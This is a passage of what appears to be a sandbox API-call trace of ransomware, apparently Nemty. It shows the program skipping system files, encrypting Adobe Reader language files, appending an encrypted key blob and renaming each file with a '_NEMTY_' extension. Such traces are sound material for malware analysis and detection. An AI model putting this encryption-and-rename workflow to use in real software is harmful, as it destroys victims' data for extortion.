hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.234] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6f40, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6f40, lpOverlapped=0x0) returned 1 [0216.234] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.234] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28486, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f46 [0216.235] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.235] CloseHandle (hObject=0x2e8) returned 1 [0216.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.235] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.235] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.235] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.235] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.235] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.235] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt.txt._nemty_kgobjgd_")) returned 1 [0216.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0216.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.236] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6f50, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.pt_PT_PREEURO.txt", cAlternateFileName="DIB661~1.TXT")) returned 1 [0216.236] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT_PREEURO.txt", lpString2=".") returned 1 [0216.236] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT_PREEURO.txt", lpString2="..") returned 1 [0216.236] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT_PREEURO.txt", lpString2="...") returned 1 [0216.236] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT_PREEURO.txt", lpString2="windows") returned -1 [0216.236] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT_PREEURO.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.236] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT_PREEURO.txt", lpString2="rsa") returned -1 [0216.236] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT_PREEURO.txt", lpString2="NTDETECT.COM") returned -1 [0216.236] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT_PREEURO.txt", lpString2="ntldr") returned -1 [0216.236] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT_PREEURO.txt", lpString2="MSDOS.SYS") returned -1 [0216.236] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT_PREEURO.txt", lpString2="IO.SYS") returned -1 [0216.236] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT_PREEURO.txt", lpString2="boot.ini") returned 1 [0216.236] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT_PREEURO.txt", lpString2="boot.ini") returned 1 [0216.236] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT_PREEURO.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.236] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT_PREEURO.txt", lpString2="ntuser.dat") returned -1 [0216.236] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT_PREEURO.txt", lpString2="desktop.ini") returned 1 [0216.236] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT_PREEURO.txt", lpString2="CONFIG.SYS") returned 1 [0216.236] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT_PREEURO.txt", lpString2="RECYCLER") returned -1 [0216.236] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT_PREEURO.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.237] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT_PREEURO.txt", lpString2="bootmgr") returned 1 [0216.237] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT_PREEURO.txt", lpString2="programdata") returned -1 [0216.237] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT_PREEURO.txt", lpString2="appdata") returned 1 [0216.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340130 [0216.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pt_PT_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0216.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0216.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pt_PT_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.pt_PT_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0216.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0216.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340188 [0216.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pt_PT_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0216.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0216.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pt_PT_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.pt_PT_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0216.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0216.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0216.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340130 [0216.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pt_PT_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0216.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0216.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pt_PT_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.pt_PT_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0216.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340130 [0216.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pt_PT_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0216.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0216.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pt_PT_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345640, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.pt_PT_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0216.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340130 [0216.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340228 [0216.237] Sleep (dwMilliseconds=0x5) [0216.245] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34879790, dwHighDateTime=0x1d561e8)) [0216.245] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34879790, dwHighDateTime=0x1d561e8)) [0216.245] GetLastError () returned 0x0 [0216.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.245] GetLastError () returned 0x0 [0216.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.245] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.245] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.245] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.245] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0216.245] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="FErL6g7TSOEy4PYyKrM4mGdiNL/sRws87MXcnI96toeZXzjBf9IpWizixsj8fvpR\r\n7gHaLvsV09hVsfgtp/YnZ9kI2L1V4LGGY0GxXT8zH9rHyg3D3WQ67TKdOj8Voa7X\r\nT6ZaXvt3wwhfJ3bLWoM1+kW7DNGAO5T9FXdm98BMB98kI5fZ+Sysj1SEVcSUC6D9\r\ny6UOnDKTMyKwYntM8fgfCPuKRYfMkDZwPoGEIWRpexe6vvoKOSIjahpM3rBxTE7x\r\nT6R2Li4mvLNRAGZTlv2euodtqkJdcJNFJBxEnYBcA5JWrnbvUwVvEzInRH2Jd9tc\r\nPehZAO7hXASAtPdcu5D4qA==\r\n", pcchString=0x653e5dc) returned 1 [0216.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.245] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.245] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0216.246] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.246] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt_preeuro.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.246] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28496) returned 1 [0216.246] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6f50) returned 0x6352c48 [0216.246] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.246] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6f50, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6f50, lpOverlapped=0x0) returned 1 [0216.259] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.259] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6f50, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6f50, lpOverlapped=0x0) returned 1 [0216.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.260] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28496, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f50 [0216.260] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.260] CloseHandle (hObject=0x2e8) returned 1 [0216.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340320 [0216.260] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.260] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340418 [0216.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x166) returned 0x63491c8 [0216.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340418 | out: hHeap=0x4f90000) returned 1 [0216.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.260] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT_PREEURO.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt_preeuro.txt._nemty_kgobjgd_")) returned 1 [0216.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63491c8 | out: hHeap=0x4f90000) returned 1 [0216.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340320 | out: hHeap=0x4f90000) returned 1 [0216.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340228 | out: hHeap=0x4f90000) returned 1 [0216.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0216.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0216.261] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2cf3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ba2, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ro.txt", cAlternateFileName="DI0257~1.TXT")) returned 1 [0216.261] lstrcmpiW (lpString1="DisplayLanguageNames.ro.txt", lpString2=".") returned 1 [0216.261] lstrcmpiW (lpString1="DisplayLanguageNames.ro.txt", lpString2="..") returned 1 [0216.261] lstrcmpiW (lpString1="DisplayLanguageNames.ro.txt", lpString2="...") returned 1 [0216.261] lstrcmpiW (lpString1="DisplayLanguageNames.ro.txt", lpString2="windows") returned -1 [0216.261] lstrcmpiW (lpString1="DisplayLanguageNames.ro.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.261] lstrcmpiW (lpString1="DisplayLanguageNames.ro.txt", lpString2="rsa") returned -1 [0216.262] lstrcmpiW (lpString1="DisplayLanguageNames.ro.txt", lpString2="NTDETECT.COM") returned -1 [0216.262] lstrcmpiW (lpString1="DisplayLanguageNames.ro.txt", lpString2="ntldr") returned -1 [0216.262] lstrcmpiW (lpString1="DisplayLanguageNames.ro.txt", lpString2="MSDOS.SYS") returned -1 [0216.262] lstrcmpiW (lpString1="DisplayLanguageNames.ro.txt", lpString2="IO.SYS") returned -1 [0216.262] lstrcmpiW (lpString1="DisplayLanguageNames.ro.txt", lpString2="boot.ini") returned 1 [0216.262] lstrcmpiW (lpString1="DisplayLanguageNames.ro.txt", lpString2="boot.ini") returned 1 [0216.262] lstrcmpiW (lpString1="DisplayLanguageNames.ro.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.262] lstrcmpiW (lpString1="DisplayLanguageNames.ro.txt", lpString2="ntuser.dat") returned -1 [0216.262] lstrcmpiW (lpString1="DisplayLanguageNames.ro.txt", lpString2="desktop.ini") returned 1 [0216.262] lstrcmpiW (lpString1="DisplayLanguageNames.ro.txt", lpString2="CONFIG.SYS") returned 1 [0216.262] lstrcmpiW (lpString1="DisplayLanguageNames.ro.txt", lpString2="RECYCLER") returned -1 [0216.262] lstrcmpiW (lpString1="DisplayLanguageNames.ro.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.262] lstrcmpiW (lpString1="DisplayLanguageNames.ro.txt", lpString2="bootmgr") returned 1 [0216.262] lstrcmpiW (lpString1="DisplayLanguageNames.ro.txt", lpString2="programdata") returned -1 [0216.262] lstrcmpiW (lpString1="DisplayLanguageNames.ro.txt", lpString2="appdata") returned 1 [0216.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ro.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ro.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ro.txt", lpUsedDefaultChar=0x0) returned 27 [0216.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ro.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ro.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ro.txt", lpUsedDefaultChar=0x0) returned 27 [0216.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ro.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ro.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ro.txt", lpUsedDefaultChar=0x0) returned 27 [0216.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ro.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ro.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ro.txt", lpUsedDefaultChar=0x0) returned 27 [0216.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 